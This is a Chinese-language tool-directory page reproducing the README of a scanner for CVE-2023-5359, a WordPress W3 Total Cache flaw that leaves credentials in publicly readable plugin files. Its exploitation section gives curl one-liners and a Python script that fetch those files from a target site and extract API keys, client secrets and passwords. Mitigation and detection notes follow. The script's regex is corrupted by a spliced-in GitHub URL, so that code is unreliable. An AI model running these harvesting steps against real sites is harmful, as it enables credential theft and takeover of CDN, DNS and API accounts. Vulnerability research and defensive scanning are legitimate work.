Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-5359 — CVE-2023-5359 - W3 Total Cache 明文存储漏洞扫描器。检测 W3 Total Cache 插件版本 ≤ 2.7.5 中暴露的凭据。 | Kitploit
工具/GitHubGitHub/enzocipher/cve-2023-5359
漏洞扫描器密码攻击漏洞利用信息收集Web安全学习与教育
GitHubenzocipher/cve-2023-5359

CVE-2023-5359

CVE-2023-5359 - W3 Total Cache 明文存储漏洞扫描器。检测 W3 Total Cache 插件版本 ≤ 2.7.5 中暴露的凭据。

查看仓库
9个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-5359 - W3 Total Cache 明文存储漏洞

描述

CVE-2023-5359 是一个影响 WordPress 插件 W3 Total Cache(版本 ≤ 2.7.5)的明文存储漏洞。该漏洞允许远程攻击者访问存储在未加密且可公开访问的 PHP 文件中的敏感凭据。

严重性

  • CVSS 评分: 7.5 (高危)
  • 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • 类型: 敏感信息泄露

技术漏洞

根本原因

W3 Total Cache 将配置设置和 API 凭据存储在 /wp-content/plugins/w3-total-cache/ 目录下的 PHP 文件中,且未采取充分保护措施。这些文件可通过 HTTP 访问,从而暴露:

  • API 密钥(CloudFlare、Google 等)
  • 客户端密码
  • OAuth 令牌
  • 外部服务凭据

受影响文件

root@kitploit:~
/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php
/wp-content/plugins/w3-total-cache/Extension_FeedBurner_Plugin.php
/wp-content/plugins/w3-total-cache/Config.php
/wp-content/plugins/w3-total-cache/Cache_File.php

利用

手动方法

root@kitploit:~
# 检查是否安装了 W3 Total Cache
curl -s https://target.com/ | grep "w3-total-cache"

# 提取 CloudFlare 凭据
curl -s "https://target.com/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php" | grep -E "client_id|client_secret"

# 搜索所有易受攻击的文件
for file in Extension_CloudFlare_Plugin.php Generic_Plugin_Admin.php Config.php; do
    echo "=== $file ==="
    curl -s "https://target.com/wp-content/plugins/w3-total-cache/$file" | grep -E "api_key|password|secret"
done

自动化脚本

root@kitploit:~
#!/usr/bin/env python3
import requests
import re

target = "https://victim.com"
files = [
    "/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php",
    "/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php"
]

for file in files:
    response = requests.get(target + file)
    credentials = re.findall(r"(api_key|client_secret|password)\s*=\s*['\"](https://github.com/enzocipher/cve-2023-5359/blob/HEAD/%5B%5E%27%5C%22%5D+)", response.text)
    if credentials:
        print(f"[!] Credentials found in {file}:")
        for key, value in credentials:
            print(f"    {key}: {value}")

影响

攻击者可获取:

  1. CloudFlare 凭据 —— 控制 CDN 和 DNS
  2. 外部服务的 API 密钥 —— 访问外部账户
  3. OAuth 令牌 —— 冒充身份
  4. 缓存配置 —— 操纵已提供的内容

缓解措施

立即解决方案

  1. 更新 W3 Total Cache 至 ≥ 2.7.6
  2. 限制对插件目录中 PHP 文件的访问
  3. 撤销并重新生成 所有已泄露的凭据

安全配置

root@kitploit:~
# .htaccess 保护
<Files *.php>
    Deny from all
</Files>
<Files "w3-total-cache.php">
    Allow from all
</Files>

检测

验证命令

root@kitploit:~
# 检查是否存在易受攻击的版本
curl -s https://target.com/wp-content/plugins/w3-total-cache/w3-total-cache.php | grep "Version"

被入侵迹象

  • 外部 API 中的异常活动
  • CloudFlare 配置的更改
  • 来自未授权 IP 到已连接服务的流量

示例发现

root@kitploit:~
[*] 扫描: https://example.com
[+] 检测到 W3 Total Cache
[+] 可访问文件: /wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
[!] 发现凭据:
    client_id: GAxxxxxxxxxxxx78
    client_secret: ABcdEFghIJklMNopQRstUVwxYZ012345

参考资料

  • CVE-2023-5359
  • W3 Total Cache 更新日志
  • WordPress 安全团队

法律声明

本仓库仅用于教育目的和授权渗透测试。严禁恶意使用这些信息。


觉得这个信息有用吗? 给仓库点个星吧!

最后更新: 2025年11月

下载工具